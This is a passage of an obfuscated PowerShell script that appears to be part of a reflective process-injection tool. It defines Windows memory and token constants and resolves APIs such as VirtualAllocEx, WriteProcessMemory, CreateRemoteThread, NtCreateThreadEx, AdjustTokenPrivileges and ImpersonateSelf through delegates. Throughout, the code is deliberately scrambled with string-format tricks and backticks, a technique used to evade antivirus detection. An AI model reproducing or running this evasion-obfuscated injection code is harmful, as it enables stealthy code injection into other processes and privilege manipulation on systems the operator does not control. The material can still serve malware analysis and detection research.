${wIN`3`2`c`ONSTaNTS} | &("{0}{2}{1}" -f'Add','r','-Membe') -MemberType ("{0}{1}{2}" -f 'NotePr','opert','y') -Name ("{4}{1}{0}{3}{2}{5}" -f'GE_','MA','BASED_D','REL_','I','IR64') -Value 10 |
|
${w`i`N3`2cONSTAn`TS} | &("{1}{0}{2}" -f 'd','Ad','-Member') -MemberType ("{1}{0}{2}"-f 'P','Note','roperty') -Name ("{7}{3}{6}{0}{2}{5}{4}{1}" -f'_D','LE','IS','MAGE_SCN','RDAB','CA','_MEM','I') -Value 0x02000000 |
|
${w`i`N32co`NSta`NTS} | &("{1}{0}{2}"-f 'd','A','d-Member') -MemberType ("{0}{2}{1}{3}" -f 'No','ropert','teP','y') -Name ("{2}{0}{4}{3}{1}"-f'_SCN_','UTE','IMAGE','XEC','MEM_E') -Value 0x20000000 |
|
${wIn32Con`S`TA`NtS} | &("{1}{0}{2}"-f'dd-Mem','A','ber') -MemberType ("{0}{1}{2}{3}" -f 'N','oteProper','t','y') -Name ("{0}{4}{1}{2}{3}" -f'IMA','N','_MEM_REA','D','GE_SC') -Value 0x40000000 |
|
${w`iN32CON`sTAn`Ts} | &("{1}{2}{0}{3}"-f'mb','Add','-Me','er') -MemberType ("{2}{0}{1}{3}" -f 'o','pert','NotePr','y') -Name ("{0}{3}{5}{4}{1}{2}" -f'IMA','RI','TE','GE_SCN_ME','W','M_') -Value 0x80000000 |
|
${WiN32co`Ns`Ta`N`TS} | &("{1}{0}{2}"-f 'mbe','Add-Me','r') -MemberType ("{3}{0}{1}{2}"-f 'ro','p','erty','NoteP') -Name ("{0}{3}{2}{4}{1}"-f'IM','T_CACHED','CN_ME','AGE_S','M_NO') -Value 0x04000000 |
|
${W`i`N`32ConstAntS} | &("{0}{1}{2}"-f 'A','dd-Me','mber') -MemberType ("{3}{0}{1}{2}"-f'pe','rt','y','NotePro') -Name ("{3}{0}{2}{1}"-f'E','OMMIT','C','MEM_D') -Value 0x4000 |
|
${Win32`ConST`ANtS} | &("{1}{2}{0}" -f 'mber','Add','-Me') -MemberType ("{0}{1}{2}"-f'No','tePr','operty') -Name ("{6}{5}{1}{3}{7}{4}{8}{2}{0}"-f 'E','E_FILE_E','MAG','X','TABL','AG','IM','ECU','E_I') -Value 0x0002 |
|
${w`In`32COnSTAn`Ts} | &("{1}{0}{2}" -f '-Memb','Add','er') -MemberType ("{2}{1}{0}"-f'roperty','teP','No') -Name ("{2}{1}{0}{3}" -f '_FILE_DL','AGE','IM','L') -Value 0x2000 |
|
${wi`N32cO`Ns`T`ANTS} | &("{2}{0}{1}" -f 'em','ber','Add-M') -MemberType ("{0}{2}{1}{3}" -f 'Not','rt','ePrope','y') -Name ("{0}{2}{6}{7}{5}{1}{3}{4}" -f 'IMAG','M','E','IC_BAS','E','S_DYNA','_DLLC','HARACTERISTIC') -Value 0x40 |
|
${Wi`N3`2`cONsta`Nts} | &("{0}{1}{2}"-f'Add','-Memb','er') -MemberType ("{2}{3}{0}{1}" -f'Propert','y','Not','e') -Name ("{10}{0}{2}{7}{3}{4}{5}{8}{6}{9}{1}" -f'E_DLL','AT','CHA','E','RI','S','NX','RACT','TICS_','_COMP','IMAG') -Value 0x100 |
|
${w`iN`32CONsTA`NtS} | &("{2}{0}{1}" -f 'Mem','ber','Add-') -MemberType ("{2}{3}{1}{0}"-f'y','pert','Note','Pro') -Name ("{1}{2}{0}{3}"-f 'AS','M','EM_RELE','E') -Value 0x8000 |
|
${W`In3`2cONStAn`Ts} | &("{1}{2}{0}"-f 'mber','A','dd-Me') -MemberType ("{3}{2}{1}{0}"-f'rty','Prope','e','Not') -Name ("{0}{1}{2}"-f'T','OKEN_QUER','Y') -Value 0x0008 |
|
${WiN32`c`O`N`sTanTs} | &("{1}{0}{2}"-f'dd-Memb','A','er') -MemberType ("{0}{1}{3}{2}" -f'NoteP','r','y','opert') -Name ("{0}{5}{2}{4}{6}{1}{3}"-f 'TOKEN_A','PRIV','J','ILEGES','US','D','T_') -Value 0x0020 |
|
${WiN`32CO`NsTa`NtS} | &("{2}{1}{0}" -f'Member','d-','Ad') -MemberType ("{3}{2}{1}{0}" -f 'y','tePropert','o','N') -Name ("{3}{1}{0}{2}{4}" -f'GE','_PRIVILE','_EN','SE','ABLED') -Value 0x2 |
|
${wIN32cO`Nsta`Nts} | &("{0}{1}{2}" -f'Add-M','emb','er') -MemberType ("{1}{2}{0}{3}"-f 'ePrope','No','t','rty') -Name ("{4}{0}{1}{2}{3}"-f 'O','_','TOK','EN','ERROR_N') -Value 0x3f0 |
|
|
|
return ${wi`N`32`COnSTaNTS} |
|
} |
|
Function Get-`WIn3`2f`U`Nc`TionS |
|
{ |
|
${W`In`32FuNC`TiONS} = &('a') ("{1}{2}{3}{0}"-f'ect','System.','O','bj') |
|
|
|
${vIRt`UA`la`LlOCaDDR} = &("{1}{2}{0}{3}" -f'ocAdd','G','et-Pr','ress') ("{1}{2}{0}" -f '.dll','kernel','32') ("{1}{2}{0}" -f 'lloc','Virtua','lA') |
|
${v`irtUALA`LLOcdel`Ega`TE} = &("{2}{4}{1}{0}{3}"-f'yp','legateT','Get','e','-De') @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) |
|
${vir`TUAL`Alloc} = [System.Runtime.InteropServices.Marshal]::"gET`DELegATeF`or`F`UNc`TioNpo`IN`TEr"(${VIr`TUAL`AlloCaD`dR}, ${Vi`Rtu`Alal`LoC`dEleGATe}) |
|
${Win32`FUNc`Tio`NS} | &("{1}{2}{0}"-f'r','Ad','d-Membe') ("{1}{2}{0}"-f'teProperty','N','o') -Name ("{0}{1}{2}"-f'Virtu','alAllo','c') -Value ${VIrTU`ALaLL`oC} |
|
|
|
${V`irTuaL`ALlOC`eXaD`dr} = &("{3}{2}{1}{0}{4}"-f'd','Ad','et-Proc','G','ress') ("{1}{2}{0}"-f'l32.dll','ke','rne') ("{3}{0}{2}{1}"-f 'i','ocEx','rtualAll','V') |
|
${viRTuaLA`Ll`OC`ExdEL`e`G`ATE} = &("{4}{3}{2}{0}{1}"-f 'yp','e','-DelegateT','et','G') @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) |
|
${viR`TUAla`lLoC`Ex} = [System.Runtime.InteropServices.Marshal]::"getDE`l`EgA`TE`Fo`Rfu`NC`TIoNPoinT`ER"(${VIrtUAL`ALl`O`CEX`ADDR}, ${V`I`RTU`ALALlOce`XDElEGatE}) |
|
${W`In3`2f`Unct`iOns} | &("{3}{2}{0}{1}" -f'be','r','d-Mem','Ad') ("{2}{0}{3}{1}" -f 'ote','ty','N','Proper') -Name ("{3}{2}{0}{1}"-f'lAll','ocEx','rtua','Vi') -Value ${vIrTual`A`l`l`oCEx} |
|
|
|
${Me`M`cPyadDr} = &("{2}{0}{3}{1}"-f 'ocA','dress','Get-Pr','d') ("{1}{0}{2}" -f 'svcrt.d','m','ll') ("{1}{0}" -f 'cpy','mem') |
|
${M`EM`c`PY`DELegAtE} = &("{2}{3}{1}{0}{4}"-f'teTyp','ega','Get-','Del','e') @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) |
|
${memc`PY} = [System.Runtime.InteropServices.Marshal]::"G`Et`deleG`AtEF`o`RfuN`cTiOnPoInTeR"(${m`emCpY`AdDr}, ${mEmCPyDE`Le`g`ATe}) |
|
${W`IN32fUNc`TIONS} | &("{1}{2}{0}" -f'ber','A','dd-Mem') -MemberType ("{3}{1}{2}{0}"-f 'operty','teP','r','No') -Name ("{1}{0}"-f'y','memcp') -Value ${Mem`c`py} |
|
|
|
${M`EMSE`Ta`dDR} = &("{2}{0}{1}{3}" -f'c','Add','Get-Pro','ress') ("{1}{0}{3}{2}" -f'r','msvc','.dll','t') ("{1}{0}" -f 'et','mems') |
|
${M`eMSE`TdEle`g`Ate} = &("{1}{2}{0}{3}" -f 'ga','Get-De','le','teType') @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) |
|
${ME`M`seT} = [System.Runtime.InteropServices.Marshal]::"GE`Td`ELE`gaT`EFOrfUnctiOnpoIN`T`ER"(${MEMse`T`AddR}, ${m`E`mSEtdELeG`Ate}) |
|
${w`In32FuNc`TI`o`Ns} | &("{1}{2}{0}"-f'mber','Add','-Me') -MemberType ("{1}{0}{2}" -f 'te','No','Property') -Name ("{1}{0}{2}"-f'm','me','set') -Value ${m`em`seT} |
|
|
|
${loAdli`BRa`R`yadDr} = &("{2}{3}{1}{0}"-f 's','cAddres','Get-P','ro') ("{0}{1}{3}{2}"-f'ker','nel','2.dll','3') ("{3}{1}{0}{2}"-f 'dLi','oa','braryA','L') |
|
${LOaD`liBR`A`RyDEl`E`G`ATe} = &("{0}{2}{3}{1}" -f'Get-Del','pe','eg','ateTy') @([String]) ([IntPtr]) |
|
${LoAdLI`B`Ra`Ry} = [System.Runtime.InteropServices.Marshal]::"GE`T`DelEGATEfO`Rf`Unc`TIoNpoINT`eR"(${lO`AD`Lib`RARy`AdDR}, ${L`oA`dl`IbrAr`y`De`lEGAte}) |
|
${win3`2`Fu`N`Ctions} | &("{0}{2}{1}" -f 'Add','ember','-M') -MemberType ("{0}{1}{2}"-f'No','teP','roperty') -Name ("{1}{3}{2}{0}" -f 'brary','Lo','Li','ad') -Value ${LOA`dli`BrAry} |
|
|
|
${g`e`TpRocAD`DRe`ss`ADdR} = &("{2}{0}{1}" -f'-ProcAdd','ress','Get') ("{1}{2}{0}" -f'dll','kern','el32.') ("{0}{2}{1}{3}" -f'GetProc','dre','Ad','ss') |
|
${G`etprOc`ADD`RE`ssDele`GA`Te} = &("{0}{3}{1}{2}"-f'Ge','Delegat','eType','t-') @([IntPtr], [String]) ([IntPtr]) |
|
${G`E`TPrOCA`dDrEss} = [System.Runtime.InteropServices.Marshal]::"geTdE`Le`G`AT`EfoRfU`NcT`I`ONPOI`NTer"(${GeTp`Ro`cAddrEs`S`AdDr}, ${gETPRo`C`AddresS`DE`l`E`gaTE}) |
|
${W`i`N32fUN`ct`iONs} | &("{0}{2}{1}"-f 'A','er','dd-Memb') -MemberType ("{3}{2}{0}{1}"-f'pe','rty','ro','NoteP') -Name ("{1}{3}{0}{2}"-f'dd','GetPro','ress','cA') -Value ${GeT`PR`O`ca`DdRess} |
|
|
|
${g`ETPr`OCa`DD`Res`sIntptrad`dr} = &("{3}{0}{2}{1}"-f 'r','dress','ocAd','Get-P') ("{0}{1}{2}" -f'ke','rnel','32.dll') ("{2}{0}{1}"-f'd','ress','GetProcAd') |
|
${getPROc`Ad`drES`sINt`p`Tr`DeLEG`A`Te} = &("{0}{1}{2}" -f'Get-Deleg','at','eType') @([IntPtr], [IntPtr]) ([IntPtr]) |
|
${GET`PR`OCAd`D`RessI`NtP`Tr} = [System.Runtime.InteropServices.Marshal]::"GE`TDeleGaT`E`FORFUNc`TI`ONP`oiNter"(${g`ETProcA`DdREsS`IN`TpTRaD`Dr}, ${g`e`T`PR`oc`AddRE`S`siNTpTRdele`GATE}) |
|
${wIn3`2fUnC`TIo`Ns} | &("{1}{0}{2}{3}"-f'd-','Ad','M','ember') -MemberType ("{2}{3}{0}{1}" -f 'P','roperty','N','ote') -Name ("{3}{2}{1}{0}{4}"-f 'In','ess','ProcAddr','Get','tPtr') -Value ${geTp`R`O`CaDd`RE`ssIntptR} |
|
|
|
${VI`RtU`AlFrEEaD`dr} = &("{2}{3}{1}{0}{4}"-f 'r','Add','Get-Pr','oc','ess') ("{0}{3}{1}{2}" -f 'k','rnel3','2.dll','e') ("{1}{2}{0}"-f'ee','Vi','rtualFr') |
|
${vIR`TU`Alf`ReEd`ELEgA`Te} = &("{3}{2}{0}{1}"-f 'y','pe','eT','Get-Delegat') @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) |
|
${V`IrtU`ALFree} = [System.Runtime.InteropServices.Marshal]::"gETD`e`Le`GA`TEF`ORFuNCTioN`pOInteR"(${v`iRtua`L`Fr`EeaDDR}, ${VIr`T`UalFree`dE`le`gatE}) |
|
${wI`N`32FU`NctIONS} | &("{2}{1}{0}"-f'er','Memb','Add-') ("{0}{1}{3}{2}"-f'No','te','erty','Prop') -Name ("{0}{3}{2}{1}" -f'V','lFree','ua','irt') -Value ${virt`UaL`FreE} |
|
|
|
${v`I`RTua`LfRee`ExaD`dr} = &("{3}{2}{0}{4}{1}"-f'rocAdd','ss','-P','Get','re') ("{1}{2}{0}{3}"-f'l','k','erne','32.dll') ("{1}{3}{4}{2}{0}" -f 'alFreeEx','Vi','u','r','t') |
|
${V`irTUa`lFr`Eee`x`dELegA`Te} = &("{4}{3}{2}{1}{0}"-f'egateType','el','D','-','Get') @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) |
|
${vi`Rt`UAlFReEeX} = [System.Runtime.InteropServices.Marshal]::"G`etD`ELE`g`ATeFORfuNC`TI`oNP`OIN`Ter"(${v`Ir`TuA`Lf`ReEexaDdr}, ${VIRTUALF`RE`eeXD`e`lE`gATE}) |
|
${w`I`N32FuN`CtIons} | &("{0}{2}{1}"-f 'Add','ber','-Mem') ("{2}{1}{0}" -f 'y','t','NoteProper') -Name ("{0}{1}{2}" -f 'V','irtu','alFreeEx') -Value ${v`irTua`LfrEE`ex} |
|
|
|
${V`IRTUAl`PrOt`eC`TAddr} = &("{3}{0}{2}{1}" -f 'cAddr','ss','e','Get-Pro') ("{0}{2}{3}{1}" -f 'ke','dll','rnel','32.') ("{2}{1}{0}"-f'ect','irtualProt','V') |
|
${virtUAL`proTeCTdE`lEg`A`TE} = &("{4}{1}{3}{2}{0}"-f'Type','le','ate','g','Get-De') @([IntPtr], [UIntPtr], [UInt32], [UInt32]."m`A`Keby`ReF`TyPe"()) ([Bool]) |
|
${vi`Ss} = [System.Runtime.InteropServices.Marshal]::"g`ETde`leGaTE`FoRF`Un`CTiOnPO`iNter"(${v`Ir`TUAl`PRoTEcTa`D`DR}, ${V`i`Rtual`PrOtEcTD`e`LeGAtE}) |
|
${w`IN`32FUn`CTIO`NS} | &("{1}{0}{2}"-f 'dd-Me','A','mber') ("{3}{2}{1}{0}" -f 'ty','per','o','NotePr') -Name ("{1}{3}{0}{2}" -f'Pr','Vi','otect','rtual') -Value ${v`isS} |
|
|
|
${getMODULeHaN`d`L`Ead`DR} = &("{1}{2}{4}{0}{3}"-f'Addres','G','et','s','-Proc') ("{0}{2}{1}"-f'ke','l32.dll','rne') ("{0}{2}{4}{1}{3}"-f 'GetM','ndl','odu','eA','leHa') |
|
${GET`MOD`Ul`eHaNDl`EdelegaTE} = &("{0}{1}{2}{3}" -f 'G','et','-Delega','teType') @([String]) ([IntPtr]) |
|
${gETModu`LeHa`Nd`LE} = [System.Runtime.InteropServices.Marshal]::"GEtdE`lEGatEFoRFUnc`T`I`ONPOi`N`TeR"(${gEtmodu`lEh`AnD`l`EAdDr}, ${geT`MoD`UleHa`NDLedElEG`AtE}) |
|
${wIn`32FUNCT`I`Ons} | &("{2}{1}{0}"-f 'Member','dd-','A') ("{2}{1}{0}"-f 'y','Propert','Note') -Name ("{2}{3}{0}{1}" -f'ule','Handle','G','etMod') -Value ${Ge`Tm`odu`lEhA`NDLe} |
|
|
|
${f`R`eELIb`Rar`yAdDR} = &("{2}{3}{1}{0}"-f 'ess','ProcAddr','Ge','t-') ("{2}{1}{0}"-f'dll','nel32.','ker') ("{1}{2}{0}"-f 'ibrary','Fre','eL') |
|
${fR`EeLibRA`RYdE`LeG`AtE} = &("{3}{2}{0}{1}{4}" -f'eleg','ateTyp','t-D','Ge','e') @([IntPtr]) ([Bool]) |
|
${FREeLi`B`RARY} = [System.Runtime.InteropServices.Marshal]::"GET`d`ELeGatefo`RF`U`NCtiO`NPoInter"(${F`R`eE`lIBraRYadDr}, ${Fre`ElibRA`RYDe`LE`gaTe}) |
|
${wIN32FU`N`cT`IonS} | &("{1}{2}{0}" -f 'mber','Add-M','e') -MemberType ("{2}{1}{0}{3}"-f'ert','rop','NoteP','y') -Name ("{3}{1}{2}{0}"-f'y','ree','Librar','F') -Value ${F`REEl`iB`RARY} |
|
|
|
${O`P`En`PrOcE`SSadDR} = &("{1}{3}{0}{2}"-f 'ddres','Get-P','s','rocA') ("{1}{0}{3}{2}" -f 'e','k','l32.dll','rne') ("{3}{2}{1}{0}" -f 'ess','oc','r','OpenP') |
|
${Op`ENpRo`CeSsDE`l`EG`Ate} = &("{0}{3}{4}{1}{2}"-f'Get','gateT','ype','-','Dele') @([UInt32], [Bool], [UInt32]) ([IntPtr]) |
|
${oP`eNp`ROcESS} = [System.Runtime.InteropServices.Marshal]::"G`ET`DeLegATeF`ORfUN`C`Ti`ONPoIntER"(${oPe`NPROce`SSa`ddr}, ${o`PenpR`OCe`ssdEL`egatE}) |
|
${wIn32fU`Nc`TIONs} | &("{0}{1}{2}" -f 'Add-M','em','ber') -MemberType ("{3}{0}{2}{1}"-f'otePr','ty','oper','N') -Name ("{1}{3}{0}{2}" -f 'ce','O','ss','penPro') -Value ${OpEn`PR`Oc`eSs} |
|
|
|
${WaItFoRs`ing`LEo`B`JE`CtadDR} = &("{2}{3}{1}{4}{0}"-f 'ss','c','Ge','t-Pro','Addre') ("{0}{2}{3}{1}"-f 'k','el32.dll','er','n') ("{3}{1}{4}{5}{2}{0}"-f'ect','itFor','Obj','Wa','Si','ngle') |
|
${WaITFOrS`iNGlEOb`Je`CtdEL`eg`Ate} = &("{4}{3}{1}{0}{2}" -f 'ega','l','teType','De','Get-') @([IntPtr], [UInt32]) ([UInt32]) |
|
${w`A`iTFO`RSi`Ngle`o`BJECT} = [System.Runtime.InteropServices.Marshal]::"GetDe`le`GATEFo`Rf`UNC`TioNPOIn`TeR"(${wa`itFor`S`I`NGlEOBJE`CtaddR}, ${Waitfo`RSINGleoB`jE`CtDeLe`g`ATE}) |
|
${WiN32fUn`CTI`Ons} | &("{1}{2}{0}"-f 'r','Add-M','embe') -MemberType ("{1}{0}{2}"-f 'pert','NotePro','y') -Name ("{3}{0}{2}{1}"-f'rSin','ject','gleOb','WaitFo') -Value ${wA`iTfOrS`i`N`glEO`B`jECt} |
|
|
|
${wr`it`EpROc`Essm`EMorY`ADDR} = &("{3}{1}{2}{0}" -f 'ddress','t-','ProcA','Ge') ("{2}{1}{0}" -f'l','.dl','kernel32') ("{1}{3}{2}{0}{5}{4}"-f'm','W','teProcessMe','ri','y','or') |
|
${WRiTEpR`oces`SmemorYdeLE`g`A`Te} = &("{2}{3}{0}{1}" -f 'p','e','Get-Delegat','eTy') @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr]."MaKeb`yREfT`Ype"()) ([Bool]) |
|
${dfv`yy} = [System.Runtime.InteropServices.Marshal]::"GetDELEgatEf`ORf`Un`c`T`IOnPoINter"(${w`Ri`Tep`ROcEssmemOr`yADDr}, ${W`RI`TEP`Ro`ceSSMEmo`RY`DEleGa`Te}) |
|
${W`IN32fUNC`TIoNS} | &("{2}{1}{0}" -f 'd-Member','d','A') -MemberType ("{2}{1}{0}{3}" -f 'tePro','o','N','perty') -Name ("{2}{5}{0}{3}{4}{1}" -f'ite','emory','W','Process','M','r') -Value ${D`FVyy} |
|
|
|
${reaDpROc`e`Ss`MEMo`R`y`AdDr} = &("{3}{0}{1}{2}{4}"-f 'oc','A','ddr','Get-Pr','ess') ("{3}{0}{1}{2}"-f'l32.','dl','l','kerne') ("{5}{4}{0}{1}{2}{3}" -f'ce','ssM','emo','ry','dPro','Rea') |
|
${rEa`dP`RoC`EsSm`EmOrY`d`E`LEGate} = &("{3}{1}{4}{0}{2}" -f'a','ele','teType','Get-D','g') @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr]."mAK`Ebyr`eftYPe"()) ([Bool]) |
|
${R`Eadp`ROC`EssME`Mory} = [System.Runtime.InteropServices.Marshal]::"GETdELeg`ATEfOrf`UN`cTI`OnPO`InteR"(${reAdPR`OcEssm`EM`OrYAdDr}, ${ReAd`P`R`oCeSS`m`EmORyDELeg`AtE}) |
|
${wIn32f`UNc`T`I`ons} | &("{3}{2}{1}{0}" -f'ember','d-M','d','A') -MemberType ("{0}{2}{1}{3}"-f'Note','o','Pr','perty') -Name ("{2}{5}{1}{0}{3}{4}" -f'm','ProcessMe','Rea','o','ry','d') -Value ${Rea`dPrO`c`es`sMEmoRY} |
|
|
|
${cRE`A`TeremotET`H`READaD`dR} = &("{3}{0}{2}{1}" -f 'et-','ddress','ProcA','G') ("{1}{3}{0}{2}" -f'n','ke','el32.dll','r') ("{0}{3}{1}{2}{4}"-f 'Cr','eRemo','teT','eat','hread') |
|
${C`REaTer`eMot`Et`h`Re`A`DDeLegAtE} = &("{2}{0}{1}{3}"-f 'lega','teTyp','Get-De','e') @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) |
|
${Cr`eAt`ER`E`MOT`etHrEAD} = [System.Runtime.InteropServices.Marshal]::"gE`TDElegAtEFo`RfuNc`TionP`oi`NtER"(${cR`E`ATERemOTETh`R`e`AD`ADdR}, ${cReatERe`M`o`TeTH`ReAdD`e`le`ga`Te}) |
|
${w`iN3`2`FUNCTioNS} | &("{2}{3}{1}{0}"-f'er','b','Add-Me','m') -MemberType ("{0}{3}{1}{2}"-f'NoteP','op','erty','r') -Name ("{4}{0}{2}{3}{1}"-f 'a','hread','teRemot','eT','Cre') -Value ${cReaTERe`mot`ET`hRE`AD} |
|
|
|
${ge`T`e`XITC`o`deTHREadaddr} = &("{1}{0}{3}{2}"-f'd','Get-ProcA','ess','dr') ("{0}{2}{1}"-f 'kernel32','ll','.d') ("{1}{2}{0}{3}"-f'r','GetExi','tCodeTh','ead') |
|
${gEt`EXI`T`c`ODe`TH`REaDdEleGAtE} = &("{2}{0}{1}{3}" -f'egate','T','Get-Del','ype') @([IntPtr], [Int32]."M`AKE`By`ReFtYPE"()) ([Bool]) |
|
${GE`Te`XItCODe`ThreAD} = [System.Runtime.InteropServices.Marshal]::"gE`TDeL`eG`ATEfOrfUN`ctiOnpoI`NtER"(${geTEXi`TCodE`THREA`DAddr}, ${GE`T`exitCODE`Th`REadDEL`eGA`Te}) |
|
${wI`N32`F`UnctIO`NS} | &("{0}{1}{2}" -f 'A','d','d-Member') -MemberType ("{3}{1}{0}{2}"-f'ope','r','rty','NoteP') -Name ("{0}{1}{2}{3}{4}"-f 'Ge','tE','xit','CodeT','hread') -Value ${GeTEXiTc`ode`T`HrEAd} |
|
|
|
${o`pEN`Th`REad`TOKEN`ADdr} = &("{1}{2}{3}{4}{0}" -f 's','Ge','t-Pr','ocAddr','es') ("{0}{3}{1}{2}" -f'A','v','api32.dll','d') ("{3}{1}{0}{2}"-f 'read','nTh','Token','Ope') |
|
${o`p`E`NthrEaD`TOKende`leGATE} = &("{3}{0}{2}{1}"-f'eleg','eType','at','Get-D') @([IntPtr], [UInt32], [Bool], [IntPtr]."ma`KeBY`R`eFty`pe"()) ([Bool]) |
|
${Ope`Nt`HRE`AD`TOkEn} = [System.Runtime.InteropServices.Marshal]::"GeT`D`e`legaTe`FORFUN`cTi`O`NPo`IntER"(${OpEn`Th`Rea`d`T`oK`eNADdr}, ${oP`en`T`hr`eAd`TOkeNdeL`EgATE}) |
|
${wIN32FU`N`CtIoNs} | &("{2}{0}{1}"-f'-Mem','ber','Add') -MemberType ("{1}{3}{0}{2}" -f'pert','Note','y','Pro') -Name ("{0}{2}{3}{4}{1}" -f'O','en','penT','hread','Tok') -Value ${OpEnT`Hr`eaD`ToKen} |
|
|
|
${G`e`TCurR`ENT`THrEAdaDDr} = &("{2}{4}{3}{0}{1}" -f'dres','s','Get','cAd','-Pro') ("{2}{1}{0}{3}" -f '2.','rnel3','ke','dll') ("{4}{0}{1}{3}{2}"-f'Curren','tT','read','h','Get') |
|
${GE`T`CUrr`e`N`TTHREAD`dELe`GatE} = &("{4}{1}{0}{3}{2}{5}"-f 'e','et-D','teTyp','lega','G','e') @() ([IntPtr]) |
|
${GE`TCUrr`enTthRE`AD} = [System.Runtime.InteropServices.Marshal]::"GET`d`E`Le`GAtEfoRF`Unc`TiOnPO`INTeR"(${g`EtCurreNt`Th`ReadaDdR}, ${GEtcUr`R`ENTth`Read`d`eLe`G`Ate}) |
|
${wIn32FU`N`c`TIonS} | &("{2}{0}{1}"-f 'd','d-Member','A') -MemberType ("{1}{2}{3}{0}"-f 'rty','Note','Prop','e') -Name ("{0}{3}{1}{4}{2}" -f 'GetCurre','h','ad','ntT','re') -Value ${gEt`Cu`R`ReNTTH`R`eaD} |
|
|
|
${AD`j`UstToKe`N`PRIVI`leg`E`SaDDr} = &("{1}{2}{3}{4}{0}"-f's','Ge','t','-Pro','cAddres') ("{2}{0}{1}" -f 'va','pi32.dll','Ad') ("{5}{4}{1}{0}{2}{3}"-f 'oken','T','Privi','leges','t','Adjus') |
|
${ADJuSTto`KENpr`iV`Ilegesd`EleGaTe} = &("{2}{3}{0}{1}"-f 'ateTyp','e','Get-De','leg') @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) |
|
${Adj`U`sTtoK`eNpR`IvIlEgEs} = [System.Runtime.InteropServices.Marshal]::"gETd`El`Ega`TEF`ORF`Un`cTIONpOIN`T`eR"(${ADJUstTO`K`En`PRivILeGES`AdDR}, ${ad`j`Usttok`e`NP`RIvilEgeSD`EL`EGa`Te}) |
|
${wIN32f`UN`cTIoNS} | &("{2}{0}{1}" -f '-Mem','ber','Add') -MemberType ("{2}{1}{0}"-f 'y','ropert','NoteP') -Name ("{0}{5}{4}{6}{3}{2}{1}"-f'Adj','s','ege','ivil','ken','ustTo','Pr') -Value ${A`DjUStT`OKENprI`Vi`L`egES} |
|
|
|
${LO`o`kuppriviLE`ge`Va`LUe`ADDr} = &("{3}{0}{1}{2}" -f 'ProcAddr','es','s','Get-') ("{0}{2}{1}"-f 'Advapi32','dll','.') ("{1}{3}{0}{2}"-f 'rivilegeV','Loo','alueA','kupP') |
|
${LOO`k`Up`PRI`VilE`geVal`UeDelEGatE} = &("{1}{0}{3}{2}"-f't-','Ge','elegateType','D') @([String], [String], [IntPtr]) ([Bool]) |
|
${LookuP`Pr`iv`Il`eGeval`UE} = [System.Runtime.InteropServices.Marshal]::"g`eTDEl`Eg`At`efOrFUNCt`I`ONpoiNt`eR"(${lookuPPRIvI`l`EgeVA`LUeA`d`Dr}, ${l`o`OkUpPRIV`I`LeGe`Val`UEdEl`ega`TE}) |
|
${wiN`32`F`UNCTioNS} | &("{0}{1}{2}"-f 'Add','-M','ember') -MemberType ("{1}{0}{2}" -f'ePropert','Not','y') -Name ("{0}{4}{3}{1}{2}"-f 'Lookup','geVa','lue','rivile','P') -Value ${LO`OKU`Pp`RI`VI`LegeV`AlUe} |
|
|
|
${imPe`RSOnatEsE`Lfad`dr} = &("{3}{1}{0}{2}"-f'roc','-P','Address','Get') ("{3}{1}{2}{0}"-f 'l','vapi32.','dl','Ad') ("{1}{3}{2}{0}"-f'f','Impers','eSel','onat') |
|
${i`mPEr`sOnAT`eSElFDeLEga`TE} = &("{3}{1}{2}{4}{0}"-f'e','Del','egate','Get-','Typ') @([Int32]) ([Bool]) |
|
${i`MPersOn`AT`esELf} = [System.Runtime.InteropServices.Marshal]::"gE`TDELeg`ATEfORF`Un`CTiON`P`OINtER"(${i`M`perSo`Na`TESE`lfaDdr}, ${IMP`er`sOnaTeSELFDe`L`EGAtE}) |
|
${WIN3`2`F`UnCTIoNS} | &("{0}{1}{2}" -f 'Add-','M','ember') -MemberType ("{2}{1}{0}" -f'perty','ePro','Not') -Name ("{4}{3}{0}{2}{1}"-f 'sona','lf','teSe','per','Im') -Value ${iMp`ERSOnaT`e`sE`lf} |
|
|
|
if (([Environment]::"oSv`er`si`on"."vE`RsION" -ge (&('a') 'Version' 6,0)) -and ([Environment]::"O`SvEr`SION"."VER`Sion" -lt (&('a') 'Version' 6,2))) { |
|
${ntc`ReatE`T`HREADExAdDr} = &("{1}{0}{2}" -f'roc','Get-P','Address') ("{0}{1}{2}"-f 'Nt','Dl','l.dll') ("{0}{1}{3}{2}" -f 'Nt','Cre','eThreadEx','at') |
|
${Nt`c`Reate`T`hR`EAD`ExDELEGatE} = &("{0}{3}{1}{2}{4}" -f'G','De','l','et-','egateType') @([IntPtr]."Ma`K`EBYr`eFTYpe"(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) |
|
${nT`cRe`AteThreA`deX} = [System.Runtime.InteropServices.Marshal]::"ge`TDElEg`ATEF`o`R`FUNcTIonPOiNTeR"(${N`TC`Re`A`T`E`THReaDExADDr}, ${ntCR`Ea`TEtHrEadEXdE`leGa`Te}) |
|
${wi`N`32fUnc`Tions} | &("{2}{0}{1}"-f 'dd-Mem','ber','A') -MemberType ("{0}{2}{1}{3}" -f'N','tePro','o','perty') -Name ("{2}{5}{0}{3}{1}{4}"-f 'e','hread','Nt','T','Ex','Creat') -Value ${ntCre`ATEt`hR`ead`Ex} |
|
} |
|
|
|
${iswoW`64`p`R`O`ceSs`ADDR} = &("{3}{0}{1}{2}" -f'r','o','cAddress','Get-P') ("{1}{2}{0}" -f'.dll','Ke','rnel32') ("{3}{2}{1}{0}"-f'ss','ce','ro','IsWow64P') |
|
${ISwOW64procE`sSDe`LeG`A`Te} = &("{0}{2}{3}{1}"-f 'Ge','egateType','t-','Del') @([IntPtr], [Bool]."m`Ak`ebY`ReFT`YPe"()) ([Bool]) |
|
